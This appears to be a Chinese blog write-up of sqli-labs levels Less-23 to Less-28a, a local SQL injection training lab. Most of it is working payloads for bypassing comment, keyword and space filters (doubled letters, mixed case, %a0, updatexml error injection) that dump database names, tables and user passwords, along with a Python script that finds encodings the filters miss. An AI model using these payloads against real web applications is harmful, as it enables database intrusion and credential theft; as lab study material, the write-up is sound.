前言

在此之前,现补充一个知识点

在可以回显信息,但不报错的情况下判断小括号有几种方法:

  1. 2'&&'1'='1
  • 若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2
  • 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1
  1. 1')||'1'=('1 若查询语句有小括号正确回显,若无小括号错误回显(无回显)。

由于我以前都是用方法2的,而且基本都有报错,就没怎么注意了…

Less-23

输入?id=1',报错了for the right syntax to use near ''1'' LIMIT 0,1' at line 1

输入?id=1' or 1=1,for the right syntax to use near '' LIMIT 0,1' at line 1

注释失败…试试#%23,也错了…

查看源码

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

把这两个都转义了,可以的…

尝试用'1闭合

构造成

?id=1' or '1

插进去之后就是

$sql="SELECT * FROM users WHERE id='1' or '1' LIMIT 0,1";

现在就可以尝试报错注入了

?id=1' and (select count(*) from information_schema.tables group by concat((select database()),floor(rand(0)*2))) '1

成功爆出数据库,其他步骤差不多了,这题主要是闭合方法和我们前面的不一样

Less-24

审计代码,发现pass_change.php这里可以进行二次注入

UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass'

具体方法参考我的这篇博客

Less-25

常规输入?id=1',报错了,单引号闭合,直接在后面加上注释符?id=1' --+,没报错

进行下一步?id=1' order by 1--+,这个居然报错了…看一下下面的图,看来是限制了orand

img

我们尝试用双写进行绕过?id=1' oorrder by 1--+,嘿嘿,成功了

有部分过滤字符机制就是找到了直接变为空,然后不进行第二次过滤那种就可以直接双写绕过

假如这里是删掉or,我们oorrder被删了之后就是正常的order

若是非一次性的,就要考虑一些变形:

  • 大小写变形——or=Or=oR=OR
  • 利用运算符——or=||and=&&
  • URL编码——#=%23,Hex编码——~=0x7e
  • 添加注释——/*or*/
?id=1' oorrder by 4--+

报错,不存在,可知只有三个字段,接下来就是常规操作了,但是一定要注意哪些有or和and

爆库:?id=-1' union select 1,2,(select database())--+

爆表:?id=-1' union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database())--+

爆字段:?id=-1' union select 1,2,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users')--+

爆数据:?id=-1' union select 1,2,(select group_concat(concat(username,0x3a,passwoorrd)) from security.users )--+

结果尝试,这边可以回显超过一行数据,于是可以用group_concat连起来一起显示

Less-26

这题过滤了好多…

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);            //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
}

过滤了or,and(大小写都过滤了),/,*,--,#,\s(空格),\

%A0 表示一个NBSP(U + 00A0)。 NBSP显示为替换字符(U + FFFD),因为字符的编码与页面的编码不匹配,所以其字节序列对页面无效

这里用/s试图去除所有空格,但是去除不了%A0

有三种注入方式,两个明注和一个盲注。

  • 明注一:因正确回显非固定字符串,可利用特殊 URL 编码代替空格,仍使用union加空格连接select联合注入。
  • 明注二:因错误回显是 MySQL 错误信息,可利用报错注入即 Less 17 中提到的几种方法,首选是updatexml()注入extractvalue()注入,因其他方法仍不能避开空格的使用。
  • 盲注:基于 Bool 盲注,构造注入语句避开空格。

基于正确注入

  • %09 TAB 键(水平)
  • %0a 新建一行
  • %0b TAB 键(垂直)
  • %0c 新的一页
  • %0d return 功能
  • %a0 空格

用脚本判断哪些 URL 编码能够代替空格

import requests

def changeToHex(num):
    tmp = hex(i).replace("0x", "")
    if len(tmp)<2:
        tmp = '0' + tmp
    return "%" + tmp

req = requests.session()
for i in xrange(0,256):
    i = changeToHex(i) 
    url = "http://localhost/sqli-labs/Less-26/?id=1'" + i + "%26%26" + i + "'1'='1"
    ret = req.get(url)
    if 'Dumb' in ret.content:
        print "good,this can use:" + i

除了%a0,基本都是过滤了的字符:如%20(空格)%23(#)%2a(*)%2d(-)%2f(/)%5c(\)%09%0d都是制表符、换行符、换页符。

接下来构造payload:

?id=0'%a0union%a0select%a01,database(),2%a0||'1'='1

?id=0'%a0union%a0select%a02,(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'),4%a0||'1'='1

?id=0'%a0union%a0select%a02,(select%a0group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema='security'%a0&&%a0table_name='users'),4%a0||'1'='1

?id=0'%a0union%a0select%a02,(select%a0group_concat(concat_ws('-',id,username,passwoorrd))%a0from%a0users),4%a0||'1'='1

由于这里的-被过滤了,我们使用-1的时候会变成1,不能显示我们想要的,所以可以使用0或者空着来代替-1

基于错误注入

由于我经常使用的那个报错语法太多空格了,不能用,我们用updatexml()函数

?id=0'||updatexml(1,concat(0x7e,(database()),0x7e),1)||'1'='1

?id=0'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from (infoorrmation_schema.tables)where(table_schema=database())),0x7e),1)||'1'='1

?id=0'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from (infoorrmation_schema.columns)where(table_schema)='security'%26%26table_name='users'),0x7e),1)||'1'='1

这里注意information里也有or,得双写绕过,而浏览器会过滤&所以&&得用%26%26绕过

由于不能使用空格,不能用limit

基于Bool盲注

自行测试

参考文章:Hyafinthus

Less-26a

输入1',发现返回FALSE,输入1或者1",返回TRUE

但是没有报错信息回显,可使用Less-26的正常注入方法

Less-27

查看源码吧…

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);            //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);        //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);        //Strip out union
$id= preg_replace('/select/s',"", $id);        //Strip out select
$id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);        //Strip out Union
$id= preg_replace('/Select/s',"", $id);        //Strip out select
return $id;
}

感觉和Less-26差不多?他说union和select没了,但是我们可以通过大小写绕过

没啥好说的,可正确注入

?id=0'%a0uNion%a0sElect%a01,database(),2%a0||'1'='1

也可报错注入,报错注入

?id=0'||updatexml(1,concat(0x7e,(database()),0x7e),1)||'1'='1

Less-27a

输入?id=1',回显信息,?id=1",无回显,双引号闭合,其他和Less-27一样样的

Less-28

输入?id=1',不回显信息,输入?id=2'%26%26'1'='1,回显1的信息…可知是')闭合

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
$id= preg_replace('/[--]/',"", $id);                //Strip out --.
$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);        //Strip out UNION & SELECT.
return $id;
}

过滤了/,*,--,#,\,过滤了两次空格,还过滤了相连的unionselect(含大小写),中间用了\s,代表任意不可见原子(换行符,回车,制表符,空格等),但是前面已经提到%a0是不会被过滤的,可以通过这个绕过

由于没有报错信息回显,不能报错注入,结合Less-26可用方法一

?id=0')%a0union%a0select%a01,database(),2%a0||('1'='1 

?id=0')%a0union%a0select%a02,(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='security'),4||('1'='1

但是注意闭合方式,带进去之后是这样的,由于这里使用了||'1'='1这种形式闭合,所以后面那个表达式也得用(闭合

SELECT * FROM users WHERE id=('?id=0')%a0union%a0select%a01,database(),2%a0||('1'='1') LIMIT 0,1;

Less-28a

好像…跟Less-28没啥区别…还更简单了…

说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...